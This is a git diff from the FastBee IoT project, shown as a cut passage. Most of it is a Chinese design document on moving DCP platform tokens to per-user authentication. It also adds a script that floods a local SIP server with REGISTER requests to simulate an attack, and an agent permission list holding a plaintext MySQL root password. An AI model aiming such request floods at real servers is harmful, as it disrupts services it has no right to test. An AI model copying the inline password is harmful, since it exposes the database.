diff --git a/.claude/settings.local.json b/.claude/settings.local.json index ec3d6ecc..ab47065f 100644 --- a/.claude/settings.local.json +++ b/.claude/settings.local.json @@ -28,8 +28,15 @@ "Bash(npm run:*)", "mcp__filesystem__read_text_file", "Bash(sips:*)", + "Bash(mysql -h localhost -u root -pfastbee fastbee -e \"SELECT id, name, config_json FROM bridge WHERE id = 9;\")", + "Bash(mysql:*)", + "Bash(git:*)", + "mcp__filesystem__search_files", "Bash(grep:*)", + "mcp__filesystem__list_directory_with_sizes", + "Bash(find /Users/admin/IdeaProjects/fastbee -type d -name *oss* -o -type d -name *storage* -o -type d -name *plugs*)", "Bash(source ~/.nvm/nvm.sh)" + ] } } diff --git a/bin/send_modbus_and_register.py b/bin/script/send_modbus_and_register.py similarity index 89% rename from bin/send_modbus_and_register.py rename to bin/script/send_modbus_and_register.py index b9d00023..88c9607b 100644 --- a/bin/send_modbus_and_register.py +++ b/bin/script/send_modbus_and_register.py @@ -8,10 +8,13 @@ TARGET_PORT = 8888 # 请根据实际情况修改 # 元数组 modbus 指令 MODBUS_DATA_HEX = ( - "7e80D20C4C6A55D57e", - "01030400110018AA3C" + "7e80DFEB502006887e", + "01033041011b7b0000000041eaafb742d19bd74513d545450dd9a4450ec53d00000000420ccf64420c74a9420c74a9c2d200009d99" ) +# 重要-四川远德MQTT推送 (倾角计) +# "7e803042593632517e", +# "01033041011b7b0000000041eaafb742d19bd74513d545450dd9a4450ec53d00000000420ccf64420c74a9420c74a9c2d200009d99" # 深部位移计 # "7e80DD33D43DFC5B7e", # "0103204135317841ab8e39bf27bccd3f1fb19ac2b231bbc0b6f82040ae3207c3f9f80efa23", diff --git a/bin/script/send_sip_register_attack.py b/bin/script/send_sip_register_attack.py new file mode 100644 index 00000000..fcf94b0a --- /dev/null +++ b/bin/script/send_sip_register_attack.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 +"""本地 SIP 攻击模拟""" + +import socket + +def send_sip_register(target_ip, target_port, sip_id, local_ip="127.0.0.1", local_port=50600): + message = f"""REGISTER sip:{target_ip} SIP/2.0\r +Via: SIP/2.0/UDP {local_ip}:{local_port};rport;branch=z9hG4bK-test-{sip_id}\r +From: ;tag=12345\r +To: \r +Call-ID: test-{sip_id}@{local_ip}\r +CSeq: 1 REGISTER\r +Contact: \r +Max-Forwards: 70\r +User-Agent: Python-Test\r +Expires: 3600\r +Content-Length: 0\r +\r +""" + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + + try: + sock.sendto(message.encode(), (target_ip, target_port)) + response, _ = sock.recvfrom(4096) + return response.decode() + except socket.timeout: + return "Timeout" + finally: + sock.close() + +IP_POOL = ("1.113.12.33","1.113.12.34","1.113.12.35") + +if __name__ == "__main__": + + LOCAL_IP = "1.113.12.33" # 模拟IP + TARGET_IP = "127.0.0.1" # 本地测试(服务器地址) + TARGET_PORT = 5061 # SIP端口 + + # 模拟攻击:连续发送20个请求 + for i in range(50): + sip_id = str(7000 + i) + response = send_sip_register(TARGET_IP, TARGET_PORT, sip_id) + print(f"[{sip_id}] {response.split(chr(13))[0] if response else 'No response'}") \ No newline at end of file diff --git a/docs/knowledge-base/06-platform-integration-design.md b/docs/knowledge-base/06-platform-integration-design.md index 78dec70d..a7b2a142 100644 --- a/docs/knowledge-base/06-platform-integration-design.md +++ b/docs/knowledge-base/06-platform-integration-design.md @@ -10,11 +10,11 @@ ## 1. 背景与目标 -FastBee 需要将设备上报数据推送到第三方监测平台,当前已落地 DCP 结构监测 SaaS。模块目标是把“平台、接口、流程、设备绑定、字段映射、推送日志”配置化,降低后续接入新平台或调整 DCP 接口的代码改动。 +FastBee 需要将设备上报数据推送到第三方监测平台,当前已落地 DCP 结构监测 SaaS。模块目标是把"平台、用户认证、接口、流程、设备绑定、字段映射、推送日志"配置化,降低后续接入新平台或调整 DCP 接口的代码改动。 当前实现采用两条主链路: -1. 流程执行链路:用于平台初始化、Token 刷新、设备入网等多步骤调用。 +1. 流程执行链路:用于用户初始化、Token 刷新、设备入网等多步骤调用。 2. 实时推送链路:设备上报后异步命中平台设备绑定,由 DCP 适配器组装请求体并推送。 设计边界: @@ -23,6 +23,7 @@ FastBee 需要将设备上报数据推送到第三方监测平台,当前已落 - 实时数据推送不走流程引擎,按设备绑定上的 `push_interface_id`、`field_mapping`、`extra_mapping` 直接组装请求。 - 当前只有 DCP 适配器实现,平台路由按 `platform_instance.code` 分发,`code=dcp` 时进入 `DcpPlatformAdapter`。 - 网关多子设备场景通过独立子表 `platform_device_sub_mapping` 管理,不再只依赖 `extra_mapping`。 +- **Token/认证已从平台级(PlatformInstance)迁移到用户级(PlatformUserAuth)**,每个用户有独立的 Token、过期时间和项目权限。 --- @@ -34,18 +35,19 @@ FastBee 需要将设备上报数据推送到第三方监测平台,当前已落 | 流程 | 触发方式 | 典型步骤 | 结果落库 | |---|---|---|---| -| 平台初始化 | 平台管理页手动初始化,或手动执行流程 | `dcp_auth` -> `dcp_get_user` -> `dcp_get_projects` | `access_token`、`token_expires_at`、`extra_config.userId`、`extra_config.projectId`、`extra_config.projectName` | -| Token 刷新 | HTTP 调用前自动触发,也可手动执行 | `dcp_auth` | `access_token`、`token_expires_at` | +| 用户初始化 | 用户管理页点击初始化 | `dcp_auth` -> `dcp_get_user` -> `dcp_get_projects` | `platform_user_auth.access_token`、`platform_user_auth.platform_user_id`、`platform_user_auth.platform_user_name`、`platform_user_auth.extra_config` | +| Token 刷新 | HTTP 调用前自动触发 | `dcp_auth` | `platform_user_auth.access_token`、`platform_user_auth.token_expires_at` | | 直连设备入网 | 设备绑定页点击入网 | `dcp_create_point` -> 对应传感器绑定接口 | 主表 `platform_point_id`、`platform_device_id`、`net_status` | | 网关设备入网 | 设备绑定页点击入网 | 对每个 monitor 子设备逐个执行入网流程 | 子表 `platform_point_id`、`platform_device_id`、`net_status`;全部 monitor 成功后主表 `net_status=1` | 入口代码: -- `PlatformInstanceServiceImpl.initialize(Long id)` -- `PlatformFlowServiceImpl.executeManually(Long id, Long mappingId)` -- `PlatformDeviceMappingServiceImpl.onboard(Long mappingId)` +- `PlatformUserAuthServiceImpl.initialize(Long userAuthId)` - 用户初始化 +- `PlatformDeviceMappingServiceImpl.onboard(Long mappingId)` - 设备入网 - `PlatformFlowExecutor.execute(PlatformFlow flow, FlowContext context)` +> **注意:** 流程手动执行端点(`POST /platform/flow/{id}/execute`)已移除,流程执行只能通过业务入口(初始化/入网/Token 刷新)触发。 + ### 2.2 直接调用实时推送 设备上报后由 `DeviceReportTrigger.onDeviceReport(serialNumber, payload)` 异步触发: @@ -53,9 +55,10 @@ FastBee 需要将设备上报数据推送到第三方监测平台,当前已落 1. `PlatformDeviceMappingMapper.selectBySerialNumber` 同时匹配直连主设备和网关子设备。 2. 过滤未启用的平台和绑定关系。 3. 按平台 `code` 分发,目前 `dcp` 进入 `DcpPlatformAdapter`。 -4. 适配器按推送接口的 `request_schema` 与设备绑定字段映射组装请求体。 -5. 检查并刷新 Token。 -6. 发送 HTTP POST,写入 `platform_push_log`。 +4. 加载 `PlatformUserAuth`,传入适配器用于 Token 获取和字段映射。 +5. 适配器按推送接口的 `request_schema` 与设备绑定字段映射组装请求体。 +6. 检查并刷新 Token(从 userAuth 获取)。 +7. 发送 HTTP POST,写入 `platform_push_log`。 实时推送不经过 `PlatformFlowExecutor`,因此不会使用流程步骤的 `param_mapping`、`result_key`、`result_save`。 @@ -71,7 +74,7 @@ FastBee 需要将设备上报数据推送到第三方监测平台,当前已落 调度器 `PlatformPushScheduledJob` 使用 Spring `@Scheduled(fixedDelay = 300_000)` 每 5 分钟检查一次: 1. 查询所有 `enable='1'`、`push_mode=2`、`push_interval > 0` 的绑定。 -2. 逐条判断 `now - last_push_time >= push_interval * 60 * 1000`;从未推送过的立即触发。 +2. 加载绑定关联的 `PlatformUserAuth`,逐条判断 `now - last_push_time >= push_interval * 60 * 1000`;从未推送过的立即触发。 3. 从 Redis 缓存读取最新数据,按直连/网关分别调用 `DcpPlatformAdapter` 推送。 4. 推送成功后更新 `last_push_time`;失败时保留不变,下次继续尝试。 @@ -79,22 +82,25 @@ FastBee 需要将设备上报数据推送到第三方监测平台,当前已落 ### 2.4 Token 自动刷新 -流程执行器和 DCP 实时推送适配器各自调用 `ensureToken`: +流程执行器调用 `ensureToken(FlowContext ctx)`: +- 从 `FlowContext.platformUserAuth` 获取用户认证信息。 - `access_token` 为空,或 `token_expires_at` 距当前时间不足 5 分钟时视为过期。 - 自动查找同平台 `flow_type=3` 且 `enable='1'` 的 Token 刷新流程。 - 刷新流程本身不注入 Authorization,避免递归。 -- 刷新成功后重新读取或更新 `platform_instance.access_token` 和 `token_expires_at`。 +- 刷新成功后更新 `platform_user_auth.access_token` 和 `token_expires_at`(不再是 `platform_instance`)。 + +> **架构变更:** Token 管理已从 `PlatformInstance` 迁移到 `PlatformUserAuth`。`PlatformInstance.access_token` / `PlatformInstance.token_expires_at` 字段不再使用,所有 Token 读写都通过 `platform_user_auth` 表。 --- -## 3. 数据库设计(7 张表) +## 3. 数据库设计(8 张表) DDL 以 `sql/platform-integration.sql` 为准。 ### 3.1 `platform_instance` 平台实体 -保存第三方平台实例、认证配置和初始化结果。 +保存第三方平台实例和认证模板。 关键字段: @@ -104,15 +110,47 @@ DDL 以 `sql/platform-integration.sql` 为准。 | `code` | 平台唯一标识,当前 DCP 为 `dcp`,有唯一索引 | | `base_url` | 平台基础 URL | | `auth_type` | 认证类型:`1=密码Token`、`2=ApiKey`、`3=OAuth2` | -| `auth_config` | 认证配置 JSON,例如 `userName`、`password`、`clientId`、`scope` | -| `extra_config` | 初始化后保存的业务上下文,例如 `userId`、`projectId`、`projectName` | -| `access_token` | 当前 Token | -| `token_expires_at` | Token 过期时间 | -| `init_status` | 初始化状态 | +| `auth_config` | 认证配置模板 JSON,新增用户时可复制;例如 `userName`、`password`、`clientId`、`scope` | +| `extra_config` | 平台级业务参数,如站点编码 | | `enable` | 是否启用 | | `tenant_id` | 租户 ID | -### 3.2 `platform_interface` 接口定义 +**废弃字段:** `access_token`、`token_expires_at`、`init_status` 为历史遗留,实际不再使用。Token 和初始化状态现在存储在 `platform_user_auth` 表。 + +**架构说明:** 一个平台可以对应多个用户认证(`platform_user_auth`),每个用户有独立的 Token、项目权限。`platform_instance.auth_config` 仅作为新增用户时的默认模板。 + +### 3.2 `platform_user_auth` 平台用户认证 + +支持一个平台对应多个用户认证,每个用户有独立的 Token 和项目权限。 + +关键字段: + +| 字段 | 说明 | +|---|---| +| `platform_id` | 平台实例 ID | +| `platform_user_id` | 平台侧用户 ID(如 DCP 的 userId),初始化流程执行后回填,允许为空 | +| `platform_user_name` | 平台侧用户名,初始化流程执行后回填 | +| `auth_config` | 用户认证凭证 JSON,例如 `{userName, password, clientId, scope}` | +| `access_token` | 该用户的 Token | +| `token_expires_at` | Token 过期时间 | +| `init_status` | 初始化状态:`0=未初始化`、`1=已初始化` | +| `extra_config` | 用户级配置,如项目信息等 | +| `enable` | 是否启用 | + +**使用流程:** + +1. 新增用户认证:仅输入认证配置(用户名/密码/clientId/scope) +2. 用户记录处于 `init_status=0`,`platform_user_id` 为空 +3. 执行初始化流程: + - 用认证配置获取 Token + - 用 Token 获取 `userId` 和用户名 + - 自动回填 `platform_user_id` 和 `platform_user_name` + - 标记 `init_status=1` +4. 设备绑定时选择已初始化的用户,再获取项目列表 + +**唯一约束:** `uk_platform_user (platform_id, platform_user_id)`,注意 `platform_user_id` 允许为空(未初始化时)。 + +### 3.3 `platform_interface` 接口定义 保存第三方 HTTP 接口定义。 @@ -135,8 +173,8 @@ DDL 以 `sql/platform-integration.sql` 为准。 |---|---| | `fixed` | 固定值,取 `value` | | `uuid` | 每次请求生成新的 UUID | -| `auth` | 从 `platform_instance.auth_config` 按 `field` 取值 | -| `extra` | 从 `platform_instance.extra_config` 按 `field` 取值 | +| `auth` | 优先从 `platform_user_auth.auth_config` 取值,fallback 到 `platform_instance.auth_config` | +| `extra` | 优先从 `platform_user_auth.extra_config` 取值,fallback 到 `platform_instance.extra_config` | | `context` | 从 `FlowContext` 按 `contextKey` 取值 | | `device` | 从 `PlatformDeviceMapping` / 当前网关子设备上下文取 `platform_device_id`、`platform_point_id`、`serial_number`、`device_name`、`gateway_serial_number`、`monitor_serial_number` | | `thingsModel` | 从流程上下文 payload 按物模型标识取值,通常用于手动流程或扩展流程 | @@ -167,8 +205,8 @@ DDL 以 `sql/platform-integration.sql` 为准。 |---|---| | `fixed` | 固定值 | | `device` | 从绑定关系取平台设备/测点/序列号 | -| `auth` | 从认证 JSON 取值 | -| `extra` | 从扩展 JSON 取值 | +| `auth` | 优先从 `platform_user_auth` 认证 JSON 取值 | +| `extra` | 优先从 `platform_user_auth` 扩展 JSON 取值 | | `thingsModel` / `identifier` | 按 `field_mapping` 或 `itemFieldMappings` 从上报 payload 取物模型值 | | `ts` | 从物模型值的 `__ts` 派生时间,缺省为当前时间 | | `context` | 优先从 payload 的 `contextKey` 取值;`reportTime`/`epoch` 会按时间字段处理 | @@ -176,7 +214,7 @@ DDL 以 `sql/platform-integration.sql` 为准。 `response_schema.path` 支持对象路径、数组下标路径,例如 `id`、`[0].id`、`$.data.id`。 -### 3.3 `platform_flow` 流程定义 +### 3.4 `platform_flow` 流程定义 关键字段: @@ -188,7 +226,7 @@ DDL 以 `sql/platform-integration.sql` 为准。 | `sensor_type` | 入网流程适用传感器类型,如 `inclino`、`deep_inclino`、`stress`、`hyeto`、`static_level` | | `enable` | 是否启用 | -### 3.4 `platform_flow_step` 流程步骤 +### 3.5 `platform_flow_step` 流程步骤 关键字段: @@ -199,17 +237,21 @@ DDL 以 `sql/platform-integration.sql` 为准。 | `interface_id` | 关联接口 | | `param_mapping` | 覆盖接口默认入参来源 | | `result_key` | 步骤结果写入上下文的 key | -| `result_save` | 将响应字段持久化到平台或设备绑定 | +| `result_save` | 将响应字段持久化到用户认证或设备绑定 | `result_save` 支持: -- `extra_config.xxx` -- `platform_instance.access_token` -- `platform_instance.token_expires_at`,值按 `expires_in` 秒数转换为 Date +- `platform_user_auth.access_token` - 用户级 Token +- `platform_user_auth.token_expires_at` - 值按 `expires_in` 秒数转换为 Date +- `platform_user_auth.platform_user_id` - 平台侧用户 ID +- `platform_user_auth.platform_user_name` - 平台侧用户名 +- `extra_config.xxx` - 用户级配置 - `device_mapping.platform_device_id` - `device_mapping.platform_point_id` -### 3.5 `platform_device_mapping` 设备绑定主表 +> **注意:** `result_save` 已从写 `platform_instance.*` 改为写 `platform_user_auth.*`。配置中的 `platform_instance.access_token` 等旧值应更新为 `platform_user_auth.access_token`。 + +### 3.6 `platform_device_mapping` 设备绑定主表 保存 FastBee 设备与第三方平台的绑定关系。 @@ -218,6 +260,9 @@ DDL 以 `sql/platform-integration.sql` 为准。 | 字段 | 说明 | |---|---| | `platform_id` | 所属平台 | +| `platform_user_auth_id` | 关联用户认证 ID,选择已初始化的用户 | +| `platform_project_id` | 平台侧项目 ID,用户选择后存储 | +| `platform_project_name` | 平台侧项目名称 | | `device_id` / `serial_number` | FastBee 设备 ID 与序列号 | | `device_name` | 推送给平台的设备名称,默认取平台设备名称,可手动修改 | | `platform_device_id` | 平台侧 deviceId,直连设备入网后回填 | @@ -233,9 +278,11 @@ DDL 以 `sql/platform-integration.sql` 为准。 | `push_interval` | 定时推送间隔(分钟),`0` 表示不自动推送 | | `last_push_time` | 最近推送时间,由定时调度器更新 | -### 3.6 `platform_device_sub_mapping` 子设备映射表 +**级联选择流程:** 新增设备绑定时,先选择平台 → 加载已初始化用户列表 → 选择用户 → 加载项目列表 → 选择项目。 -用于网关多子设备场景,尤其是静力水准。 +### 3.7 `platform_device_sub_mapping` 子设备映射表 + +用于网关多子设备场景,尤其是静力水准和深部位移。 关键字段: @@ -252,7 +299,7 @@ DDL 以 `sql/platform-integration.sql` 为准。 唯一约束:`parent_mapping_id + sub_serial_number`。 -### 3.7 `platform_push_log` 推送日志 +### 3.8 `platform_push_log` 推送日志 记录流程步骤调用、实时数据推送和失败信息。 @@ -281,6 +328,7 @@ DDL 以 `sql/platform-integration.sql` 为准。 fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/ ├── domain/ │ ├── PlatformInstance +│ ├── PlatformUserAuth # 平台用户认证,Token/认证从这里获取 │ ├── PlatformInterface │ ├── PlatformFlow │ ├── PlatformFlowStep @@ -289,6 +337,7 @@ fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/ │ └── PlatformPushLog ├── mapper/ │ ├── PlatformInstanceMapper +│ ├── PlatformUserAuthMapper # 用户认证 Mapper │ ├── PlatformInterfaceMapper │ ├── PlatformFlowMapper │ ├── PlatformFlowStepMapper @@ -296,30 +345,32 @@ fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/ │ ├── PlatformDeviceSubMappingMapper │ └── PlatformPushLogMapper ├── service/ -│ ├── IPlatformInstanceService -│ ├── IPlatformFlowService +│ ├── IPlatformInstanceService # 仅保留 selectList +│ ├── IPlatformUserAuthService # 用户认证(新增,接管初始化/项目/Token) +│ ├── IPlatformFlowService # 移除 executeManually │ ├── IPlatformDeviceMappingService │ ├── IPlatformDeviceSubMappingService │ ├── IPlatformPushLogService │ └── impl/ ├── flow/ -│ ├── PlatformFlowExecutor -│ └── FlowContext +│ ├── PlatformFlowExecutor # Token 从 userAuth 获取 +│ └── FlowContext # platformUserAuth 为必填字段 ├── adapter/ │ └── dcp/ -│ ├── DcpPlatformAdapter +│ ├── DcpPlatformAdapter # 所有推送方法增加 userAuth 参数 │ └── StaticLevelBufferService ├── trigger/ -│ └── DeviceReportTrigger +│ └── DeviceReportTrigger # 加载 userAuth 传入适配器 └── job/ - └── PlatformPushScheduledJob + └── PlatformPushScheduledJob # 加载 userAuth 传入适配器 ``` ```text fastbee-open-api/src/main/java/com/fastbee/controller/platform/ -├── PlatformInstanceController # /platform/instance +├── PlatformInstanceController # /platform/instance(移除 initialize、getProjects) +├── PlatformUserAuthController # /platform/user-auth(新增,接管初始化/项目/用户管理) ├── PlatformInterfaceController # /platform/interface -├── PlatformFlowController # /platform/flow +├── PlatformFlowController # /platform/flow(移除 execute 端点) ├── PlatformDeviceMappingController # /platform/device-mapping └── PlatformPushLogController # /platform/push-log ``` @@ -338,18 +389,26 @@ execute(flow, context) 对每个 step: 1. 读取关联 platform_interface 2. 合并 request_schema 与 step.param_mapping - 3. 按 source 解析参数 + 3. 按 source 解析参数(优先从 userAuth 获取,fallback 到 platform.authConfig) 4. 若参数中存在 list-of-lists,展开为多批请求 5. 每批请求刷新 uuid 参数 6. 替换 path 中的 {变量} 7. GET 参数放 query;form 接口编码为 x-www-form-urlencoded;其他接口发 JSON body - 8. 非认证步骤自动注入 Authorization: Bearer {token} + 8. 非认证步骤自动注入 Authorization: Bearer {token}(从 userAuth 获取) 9. 执行 HTTP 10. 按 response_schema 抽取响应,写入 FlowContext - 11. 按 result_save 持久化 + 11. 按 result_save 持久化到 platform_user_auth 或 device_mapping 12. 异步写 platform_push_log,log_type=2 ``` +**FlowContext 构造:** `platformUserAuth` 是必填字段,所有构造函数都需要传入。旧的 `FlowContext(PlatformInstance)` 构造函数已移除。 + +**重要变更:** `persistResultSave` 不再向 `platform_instance` 表写 Token/过期时间,而是写入 `platform_user_auth` 表。`result_save` 配置中的 `saveTo` 路径应使用 `platform_user_auth.*` 前缀而非 `platform_instance.*`。 + +`auth` 和 `extra` 参数来源优先级: +- `auth source`:`PlatformUserAuth.auth_config` → `PlatformInstance.auth_config` +- `extra source`:`PlatformUserAuth.extra_config` → `PlatformInstance.extra_config` + 批量展开用于 `referenceSubDeviceSensorIdPairs` 这类参数。例如静力水准入网时,一个网关下多个 monitor 子设备会拆成多次绑定请求。 ### 5.2 设备入网 @@ -358,25 +417,28 @@ execute(flow, context) 直连设备: -1. 查找同平台、`flow_type=2`、`sensor_type` 匹配且启用的流程。 -2. 创建 `FlowContext(platform, mapping, null)`。 -3. 执行流程。 -4. 若主表已有 `platform_device_id`,将主绑定 `net_status` 改为 `1`。 +1. 根据设备绑定的 `platformUserAuthId` 查询用户认证信息。 +2. 查找同平台、`flow_type=2`、`sensor_type` 匹配且启用的流程。 +3. 创建 `FlowContext(platform, mapping, userAuth)`。 +4. 执行流程。 +5. 若主表已有 `platform_device_id`,将主绑定 `net_status` 改为 `1`。 网关设备: 1. 读取 `platform_device_sub_mapping`。 2. 筛选 `device_role=monitor` 且未入网的子设备。 -3. 对每个 monitor 创建独立 `FlowContext`: - - `currentMonitorSerialNumber = monitor.sub_serial_number` - - `currentMonitorDeviceName = monitor.sub_device_name` - - `currentMonitorIndex = monitor 在待入网 monitor 列表中的下标` - - `subMappingOnboardConfig = monitor.onboard_config` +3. 对每个 monitor 创建独立 `FlowContext`,通过构造函数一次性传入所有上下文字段: + - `platformUserAuth` = 设备绑定关联的用户认证 + - `currentMonitorSerialNumber`、`currentMonitorDeviceName` + - `currentMonitorIndex` = monitor 在待入网 monitor 列表中的下标 + - `subMappingOnboardConfig` = monitor.onboard_config 4. 执行同一个入网流程。若绑定接口 schema 使用 `source=onboard_config` 且 `value` 为数组,会按 `currentMonitorIndex` 拆出当前子设备的值。 5. 从上下文 `step1.id`、`step2.id` 取 pointId/deviceId,写回当前 monitor 子表。 6. 所有 monitor 都入网后,主绑定 `net_status=1`。 7. 若部分成功部分失败,已成功子设备会保留结果,接口返回明确失败信息。 +> **注意:** 入网不再校验 `platformProjectId` 是否为空。网关子设备 `FlowContext` 现在通过构造函数一次性设置所有字段,不再使用 `setXxx` 逐个设置。 + ### 5.3 设备上报触发 `DeviceReportTrigger.onDeviceReport` 使用异步线程池 `FastBeeConstant.TASK.PUSH_TO_THIRD_PLATFORM_ASYNC`。 @@ -399,8 +461,9 @@ WHERE s.sub_serial_number = #{serialNumber} AND m.enable = '1' 分发规则: -- `platform.code=dcp` 且 `device_type=0`:调用 `DcpPlatformAdapter.pushData`。 -- `platform.code=dcp` 且 `device_type=1`:先在子表中按上报序列号找 `PlatformDeviceSubMapping`,找到后调用 `pushGatewayData`。 +- 加载 `PlatformUserAuth`,未启用或无用户认证时跳过。 +- `platform.code=dcp` 且 `device_type=0`:调用 `DcpPlatformAdapter.pushData(platform, userAuth, mapping, ...)`。 +- `platform.code=dcp` 且 `device_type=1`:先在子表中按上报序列号找 `PlatformDeviceSubMapping`,找到后调用 `pushGatewayData(platform, userAuth, mapping, subMapping, ...)`。 - 未知平台 code 只记录 warning,不推送。 ### 5.4 定时推送调度器 @@ -428,10 +491,10 @@ public void execute() { `isDue` 判断:`push_interval` 转换为毫秒后,若 `nowMs - lastPushTime.getTime() >= intervalMs` 则触发。`lastPushTime` 为空时立即触发。 -`pushLatestData` 从 Redis 缓存读取设备最新数据,按 `device_type` 分发: +`pushLatestData` 加载 `PlatformUserAuth`,从 Redis 缓存读取设备最新数据,按 `device_type` 分发: -- 直连设备(`device_type=0`):调用 `DcpPlatformAdapter.pushData`。 -- 网关设备(`device_type=1`):遍历所有子设备,逐个从 Redis 读取并调用 `DcpPlatformAdapter.pushGatewayData`。 +- 直连设备(`device_type=0`):调用 `DcpPlatformAdapter.pushData(platform, userAuth, mapping, ...)`。 +- 网关设备(`device_type=1`):遍历所有子设备,逐个从 Redis 读取并调用 `DcpPlatformAdapter.pushGatewayData(platform, userAuth, mapping, subMapping, ...)`。 推送完成后调用 `IPlatformDeviceMappingService.updateLastPushTime` 更新 `last_push_time`。 @@ -443,8 +506,9 @@ public void execute() { ┌──────────────────────────────────────┐ │ PlatformPushScheduledJob(每5分钟) │ │ push_mode=2 且达到时间间隔 │ +│ → 加载 PlatformUserAuth │ │ → 从 Redis 读最新数据 │ -│ → 推送到平台 │ +│ → 推送到平台(传入 userAuth) │ │ → 更新 last_push_time │ └──────────────────────────────────────┘ ``` @@ -462,12 +526,17 @@ DCP 实时推送必须在设备绑定中配置 `push_interface_id`: - payload 支持 JSON 对象和数组两种格式。 - 数组格式按 `id` 或 `identifier` 转成 `{identifier: value}`,并把 `ts` 保存为 `{identifier}__ts`。 - 有 `request_schema` 时按 schema 组装。 -- 若 schema 组装结果为空,或没有任何 payload 驱动字段,则回退到 legacy 组装: - - `deviceId = platform_device_id` - - `epoch = 当前时间` - - 其他字段来自 `field_mapping` +- 若 schema 组装结果为空,或没有任何 payload 驱动字段,则回退到 legacy 组装。 - 普通推送请求体最终是数组:`[ {...} ]`。 +所有推送方法签名增加了 `PlatformUserAuth userAuth` 参数,用于 Token 获取: + +```java +// 变更后 +dcpAdapter.pushData(platform, userAuth, mapping, reportSerialNumber, payload); +dcpAdapter.pushGatewayData(platform, userAuth, mapping, subMapping, reportSerialNumber, payload); +``` + 时间字段会统一转为带时区的 ISO-8601 毫秒格式,支持输入毫秒时间戳、秒时间戳、ISO 字符串、本地时间字符串。 ### 5.6 网关与数组字段推送 @@ -509,7 +578,7 @@ DCP 实时推送必须在设备绑定中配置 `push_interface_id`: ] ``` -4. 若监测点先到或基准点缓存过期,监测点数据会写入 Redis monitor 缓存。当前代码已有 monitor 缓存读写能力,但推送路径主要依赖“监测点到达时基准点已就绪”的分支。 +4. 若监测点先到或基准点缓存过期,监测点数据会写入 Redis monitor 缓存。 缓存键: @@ -527,11 +596,11 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 1. 查询当前绑定下所有 `device_role=monitor` 的子设备,顺序以 `platform_device_sub_mapping` 返回顺序为准(深部位移场景为浅到深)。 2. 当前上报子设备使用本次 payload,其余子设备从 Redis 读取缓存;读取 Redis 时使用子设备真实 `product_id + sub_serial_number`,避免误用网关主设备产品 ID。 3. 每个 monitor 组装为一个请求体对象,`deviceId` 使用该 monitor 入网后回填的 `platform_device_id`,`xTotalBias`、`yTotalBias` 等主体字段使用该 monitor 自身数据。 -4. 每个对象中的 `sensorData` 不是单点,而是从该 monitor 到末端 monitor 的后缀数组;深部位移中表现为“当前深度 + 更深点位”,顺序保持从浅到深。 +4. 每个对象中的 `sensorData` 不是单点,而是从该 monitor 到末端 monitor 的后缀数组;深部位移中表现为"当前深度 + 更深点位",顺序保持从浅到深。 5. 最浅节点对象包含全孔从浅到深的点位数据,最深节点对象只包含自己。 6. 最终一次 HTTP 请求推送整个数组。 -批量推送不再从“数据推送接口”的 `request_schema` 读取入网参数 `sensorDepths`。`sensorDepths`、`holeDepth` 等仍属于深部位移入网/绑定接口配置;数据推送接口只需配置实际推送字段,例如 `deviceId`、`sensorData`、累计偏移量等。 +批量推送不再从"数据推送接口"的 `request_schema` 读取入网参数 `sensorDepths`。`sensorDepths`、`holeDepth` 等仍属于深部位移入网/绑定接口配置;数据推送接口只需配置实际推送字段,例如 `deviceId`、`sensorData`、累计偏移量等。 示例请求体结构(4 个串联点,从浅到深为 A/B/C/D): @@ -570,13 +639,34 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 配置与排查要点: -- 在平台接口管理中,为需要整孔推送的“数据推送接口”开启批量推送,即 `platform_interface.is_batch_push=1`。 +- 在平台接口管理中,为需要整孔推送的"数据推送接口"开启批量推送,即 `platform_interface.is_batch_push=1`。 - 推送接口 `request_schema` 必须包含实际数据推送字段;不要把入网接口的 `sensorDepths` 当作批量推送前置条件。 - 子设备必须已入网,monitor 子表行必须有 `platform_device_id`。 - Redis 中需要有各 monitor 子设备的最新物模型缓存;缺失数据的点位不会进入对应后缀 `sensorData`,若某 monitor 自身无数据则该 monitor 对象会被跳过。 - 推送日志可在 `platform_push_log` 查看;成功日志会出现 `[DCP] 批量推送完成`。 -### 5.8 日志与重试 +### 5.8 Token 管理 + +**架构变更:** Token 管理已从平台级迁移到用户级。`PlatformInstance` 上的 `access_token`、`token_expires_at` 字段不再使用。 + +`PlatformFlowExecutor.ensureToken(FlowContext ctx)`: + +- 从 `ctx.getPlatformUserAuth()` 获取用户认证信息。 +- `access_token` 为空,或 `token_expires_at` 距当前时间不足 5 分钟时视为过期。 +- 自动查找同平台 `flow_type=3` 且 `enable='1'` 的 Token 刷新流程。 +- 创建带有 `platform` 和 `userAuth` 的 `FlowContext` 执行刷新流程。 +- 刷新流程本身不注入 Authorization,避免递归。 +- 刷新成功后更新 `platform_user_auth.access_token` 和 `token_expires_at`。 +- Token 刷新流程最后步骤应配置 `result_key=tokenStep`,以便 `refreshToken` 方法提取 `access_token` 和 `expires_in`。 + +`DcpPlatformAdapter.ensureToken`(适配器层): + +- 读取 `platformUserAuth.access_token` 和 `token_expires_at` 判断是否过期。 +- 过期时查找 `flow_type=3` 流程并执行 `flowExecutor.execute(tokenFlow, ctx)`。 +- 刷新后重新从数据库读取最新 `platform_user_auth` 记录。 +- 返回 `platformUserAuth.access_token`。 + +### 5.9 日志与重试 - 流程步骤日志:`log_type=2`。 - 实时数据推送日志:`log_type=1`。 @@ -601,7 +691,34 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 - 查询平台列表。 - 新增、编辑、删除平台。 - 平台详情接口会清空 `access_token`,避免前端拿到 Token。 -- 初始化平台:`POST /platform/instance/{id}/initialize`。 +- `initStatus` 通过查询 `platform_user_auth` 表计算:存在有效用户则显示已初始化。 + +**用户管理:** + +点击"用户"按钮打开用户管理弹窗,后端接口:`/platform/user-auth` + +- 查询用户认证列表:`GET /platform/user-auth/list?platformId={id}` +- 新增用户:仅输入认证配置(用户名/密码/clientId/scope),`platformUserId` 和 `platformUserName` 为空 +- 初始化用户:`POST /platform/user-auth/{id}/initialize` + - 执行初始化流程获取 Token + - 从 Token 解析或调用接口获取 `userId` 和用户名 + - 自动回填 `platformUserId` 和 `platformUserName` + - 标记 `initStatus=1` +- 